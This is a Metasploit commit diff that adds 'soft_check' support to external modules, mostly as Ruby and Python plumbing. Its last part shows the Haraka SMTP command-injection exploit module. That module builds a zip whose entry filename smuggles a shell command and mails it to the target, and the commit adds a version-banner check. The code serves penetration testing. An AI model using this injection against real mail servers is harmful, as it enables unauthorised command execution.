Land #10009, Add initial check support to external modules
parent
9e326d7c88
commit
9b152cec72
|
@ -107,6 +107,14 @@ class Exploit < Msf::Module
|
||||||
# The module does not support the check method.
|
# The module does not support the check method.
|
||||||
#
|
#
|
||||||
Unsupported = [ 'unsupported', "This module does not support check." ]
|
Unsupported = [ 'unsupported', "This module does not support check." ]
|
||||||
|
|
||||||
|
#
|
||||||
|
# Hash for looking up codes by short name
|
||||||
|
#
|
||||||
|
Codes = [Unknown, Safe, Detected, Appears, Vulnerable, Unsupported].reduce({}) do |codes, code|
|
||||||
|
codes[code.first] = code
|
||||||
|
codes
|
||||||
|
end.freeze
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
|
|
|
@ -4,7 +4,7 @@ module Msf::Module::External
|
||||||
include Msf::Auxiliary::Report
|
include Msf::Auxiliary::Report
|
||||||
include Msf::Module::Auth
|
include Msf::Module::Auth
|
||||||
|
|
||||||
def execute_module(path, method: :run, args: datastore)
|
def execute_module(path, method: :run, args: datastore, fail_on_exit: true)
|
||||||
mod = Msf::Modules::External.new(path, framework: framework)
|
mod = Msf::Modules::External.new(path, framework: framework)
|
||||||
success = mod.exec(method: method, args: args) do |m|
|
success = mod.exec(method: method, args: args) do |m|
|
||||||
begin
|
begin
|
||||||
|
@ -14,7 +14,7 @@ module Msf::Module::External
|
||||||
when :report
|
when :report
|
||||||
process_report(m, mod)
|
process_report(m, mod)
|
||||||
when :reply
|
when :reply
|
||||||
# Nothing useful yet
|
return m.params['return']
|
||||||
end
|
end
|
||||||
rescue Interrupt => e
|
rescue Interrupt => e
|
||||||
raise e
|
raise e
|
||||||
|
@ -24,7 +24,7 @@ module Msf::Module::External
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
fail_with Msf::Module::Failure::Unknown, "Module exited abnormally" if !success
|
fail_with Msf::Module::Failure::Unknown, "Module exited abnormally" if fail_on_exit && !success
|
||||||
end
|
end
|
||||||
|
|
||||||
def log_output(m)
|
def log_output(m)
|
||||||
|
|
|
@ -75,15 +75,32 @@ def report_wrong_password(username, password, **opts):
|
||||||
report('wrong_password', info)
|
report('wrong_password', info)
|
||||||
|
|
||||||
|
|
||||||
def run(metadata, module_callback):
|
def run(metadata, module_callback, soft_check=None):
|
||||||
req = json.loads(os.read(0, 10000).decode("utf-8"))
|
req = json.loads(os.read(0, 10000).decode("utf-8"))
|
||||||
|
callback = None
|
||||||
if req['method'] == 'describe':
|
if req['method'] == 'describe':
|
||||||
rpc_send({'jsonrpc': '2.0', 'id': req['id'], 'result': metadata})
|
caps = []
|
||||||
|
if soft_check:
|
||||||
|
caps.append('soft_check')
|
||||||
|
|
||||||
|
meta = metadata.copy()
|
||||||
|
meta.update({'capabilities': caps})
|
||||||
|
|
||||||
|
rpc_send({'jsonrpc': '2.0', 'id': req['id'], 'result': meta})
|
||||||
|
elif req['method'] == 'soft_check':
|
||||||
|
if soft_check:
|
||||||
|
callback = soft_check
|
||||||
|
else:
|
||||||
|
rpc_send({'jsonrpc': '2.0', 'id': req['id'], 'error': {'code': -32601, 'message': 'Soft checks are not supported'}})
|
||||||
elif req['method'] == 'run':
|
elif req['method'] == 'run':
|
||||||
|
callback = module_callback
|
||||||
|
|
||||||
|
if callback:
|
||||||
args = req['params']
|
args = req['params']
|
||||||
module_callback(args)
|
ret = callback(args)
|
||||||
rpc_send({'jsonrpc': '2.0', 'id': req['id'], 'result': {
|
rpc_send({'jsonrpc': '2.0', 'id': req['id'], 'result': {
|
||||||
'message': 'Module completed'
|
'message': 'Module completed',
|
||||||
|
'return': ret
|
||||||
}})
|
}})
|
||||||
|
|
||||||
|
|
||||||
|
|
|
@ -33,18 +33,36 @@ module Metasploit
|
||||||
report(:wrong_password, opts.merge(username: username, password: password))
|
report(:wrong_password, opts.merge(username: username, password: password))
|
||||||
end
|
end
|
||||||
|
|
||||||
def run(metadata, callback)
|
def run(metadata, callback, soft_check: nil)
|
||||||
self.logging_prefix = ''
|
self.logging_prefix = ''
|
||||||
|
cb = nil
|
||||||
req = JSON.parse($stdin.readpartial(10000), symbolize_names: true)
|
req = JSON.parse($stdin.readpartial(10000), symbolize_names: true)
|
||||||
if req[:method] == 'describe'
|
if req[:method] == 'describe'
|
||||||
|
capabilities = []
|
||||||
|
capabilities << 'soft_check' if soft_check
|
||||||
|
|
||||||
|
meta = metadata.merge(capabilities: capabilities)
|
||||||
rpc_send({
|
rpc_send({
|
||||||
jsonrpc: '2.0', id: req[:id], result: metadata
|
jsonrpc: '2.0', id: req[:id], result: meta
|
||||||
})
|
})
|
||||||
|
elsif req[:method] == 'soft_check'
|
||||||
|
if soft_check
|
||||||
|
cb = soft_check
|
||||||
|
else
|
||||||
|
rpc_send({
|
||||||
|
jsonrpc: '2.0', id: req[:id], error: {code: -32601, message: 'Soft checks are not supported'}
|
||||||
|
})
|
||||||
|
end
|
||||||
elsif req[:method] == 'run'
|
elsif req[:method] == 'run'
|
||||||
callback.call req[:params]
|
cb = callback
|
||||||
|
end
|
||||||
|
|
||||||
|
if cb
|
||||||
|
ret = cb.call req[:params]
|
||||||
rpc_send({
|
rpc_send({
|
||||||
jsonrpc: '2.0', id: req[:id], result: {
|
jsonrpc: '2.0', id: req[:id], result: {
|
||||||
message: 'Module completed'
|
message: 'Module completed',
|
||||||
|
'return' => ret
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
end
|
end
|
||||||
|
|
|
@ -32,6 +32,10 @@ class Msf::Modules::External::Shim
|
||||||
render_template('common_metadata.erb', meta)
|
render_template('common_metadata.erb', meta)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def self.common_check(meta = {})
|
||||||
|
render_template('common_check.erb', meta)
|
||||||
|
end
|
||||||
|
|
||||||
def self.mod_meta_common(mod, meta = {}, drop_rhost: false)
|
def self.mod_meta_common(mod, meta = {}, drop_rhost: false)
|
||||||
meta[:path] = mod.path.dump
|
meta[:path] = mod.path.dump
|
||||||
meta[:name] = mod.meta['name'].dump
|
meta[:name] = mod.meta['name'].dump
|
||||||
|
@ -54,6 +58,8 @@ class Msf::Modules::External::Shim
|
||||||
[#{o['required']}, #{o['description'].dump}, #{o['default'].inspect}])"
|
[#{o['required']}, #{o['description'].dump}, #{o['default'].inspect}])"
|
||||||
end
|
end
|
||||||
end.join(",\n ")
|
end.join(",\n ")
|
||||||
|
|
||||||
|
meta[:capabilities] = mod.meta['capabilities']
|
||||||
meta
|
meta
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -0,0 +1,7 @@
|
||||||
|
<% if meta[:capabilities].include? 'soft_check' %>
|
||||||
|
def check
|
||||||
|
code = execute_module(<%= meta[:path] %>, method: :soft_check, fail_on_exit: false) || 'unknown'
|
||||||
|
return Msf::Exploit::CheckCode::Codes[code]
|
||||||
|
end
|
||||||
|
<% end %>
|
||||||
|
|
|
@ -34,6 +34,8 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
])
|
])
|
||||||
end
|
end
|
||||||
|
|
||||||
|
<%= common_check meta %>
|
||||||
|
|
||||||
def execute_command(cmd, opts)
|
def execute_command(cmd, opts)
|
||||||
execute_module(<%= meta[:path] %>, args: datastore.merge(command: cmd))
|
execute_module(<%= meta[:path] %>, args: datastore.merge(command: cmd))
|
||||||
end
|
end
|
||||||
|
|
|
@ -10,6 +10,8 @@
|
||||||
# Thanks to: Dexlab.nl for asking me to look at Haraka.
|
# Thanks to: Dexlab.nl for asking me to look at Haraka.
|
||||||
|
|
||||||
import smtplib
|
import smtplib
|
||||||
|
import re
|
||||||
|
from distutils.version import StrictVersion
|
||||||
from email.mime.application import MIMEApplication
|
from email.mime.application import MIMEApplication
|
||||||
from email.mime.multipart import MIMEMultipart
|
from email.mime.multipart import MIMEMultipart
|
||||||
from email.utils import COMMASPACE, formatdate
|
from email.utils import COMMASPACE, formatdate
|
||||||
|
@ -21,6 +23,7 @@ import zipfile
|
||||||
import StringIO
|
import StringIO
|
||||||
from metasploit import module
|
from metasploit import module
|
||||||
|
|
||||||
|
|
||||||
metadata = {
|
metadata = {
|
||||||
'name': 'Haraka SMTP Command Injection',
|
'name': 'Haraka SMTP Command Injection',
|
||||||
'description': '''
|
'description': '''
|
||||||
|
@ -52,6 +55,7 @@ metadata = {
|
||||||
'rport': {'type': 'port', 'description': 'Target server port', 'required': True, 'default': 25}
|
'rport': {'type': 'port', 'description': 'Target server port', 'required': True, 'default': 25}
|
||||||
}}
|
}}
|
||||||
|
|
||||||
|
|
||||||
def send_mail(to, mailserver, cmd, mfrom, port):
|
def send_mail(to, mailserver, cmd, mfrom, port):
|
||||||
msg = MIMEMultipart()
|
msg = MIMEMultipart()
|
||||||
html = "harakiri"
|
html = "harakiri"
|
||||||
|
@ -79,6 +83,7 @@ def send_mail(to, mailserver, cmd, mfrom, port):
|
||||||
s.close()
|
s.close()
|
||||||
return(False)
|
return(False)
|
||||||
|
|
||||||
|
|
||||||
class InMemoryZip(object):
|
class InMemoryZip(object):
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
self.in_memory_zip = StringIO.StringIO()
|
self.in_memory_zip = StringIO.StringIO()
|
||||||
|
@ -92,6 +97,7 @@ class InMemoryZip(object):
|
||||||
self.in_memory_zip.seek(0)
|
self.in_memory_zip.seek(0)
|
||||||
return self.in_memory_zip.read()
|
return self.in_memory_zip.read()
|
||||||
|
|
||||||
|
|
||||||
def create_zip(cmd="touch /tmp/harakiri"):
|
def create_zip(cmd="touch /tmp/harakiri"):
|
||||||
z1 = InMemoryZip()
|
z1 = InMemoryZip()
|
||||||
z2 = InMemoryZip()
|
z2 = InMemoryZip()
|
||||||
|
@ -100,8 +106,31 @@ def create_zip(cmd="touch /tmp/harakiri"):
|
||||||
z1.append("a\";%s;echo \"a.zip"%cmd, z2.read())
|
z1.append("a\";%s;echo \"a.zip"%cmd, z2.read())
|
||||||
return(z1.read())
|
return(z1.read())
|
||||||
|
|
||||||
|
|
||||||
|
def check_banner(args):
|
||||||
|
module.log('{}:{} Starting banner check for Haraka < 2.8.9'.format(args['rhost'], args['rport']), level='debug')
|
||||||
|
c = smtplib.SMTP()
|
||||||
|
(code, banner) = c.connect(args['rhost'], int(args['rport']))
|
||||||
|
c.quit()
|
||||||
|
|
||||||
|
if code == 220 and 'Haraka' in banner:
|
||||||
|
versions = re.findall('(\d+\.\d+\.\d+)', banner)
|
||||||
|
if versions:
|
||||||
|
if StrictVersion(versions[0]) < StrictVersion('2.8.9'):
|
||||||
|
return 'appears'
|
||||||
|
else:
|
||||||
|
return 'safe'
|
||||||
|
else:
|
||||||
|
return 'detected'
|
||||||
|
elif code == 220:
|
||||||
|
return 'detected'
|
||||||
|
else:
|
||||||
|
return 'unknown'
|
||||||
|
|
||||||
|
|
||||||
def exploit(args):
|
def exploit(args):
|
||||||
send_mail(args['email_to'], args['rhost'], args['command'], args['email_from'], int(args['rport']))
|
send_mail(args['email_to'], args['rhost'], args['command'], args['email_from'], int(args['rport']))
|
||||||
|
|
||||||
|
|
||||||
if __name__ == '__main__':
|
if __name__ == '__main__':
|
||||||
module.run(metadata, exploit)
|
module.run(metadata, exploit, soft_check=check_banner)
|
||||||
|
|
Loading…
Reference in New Issue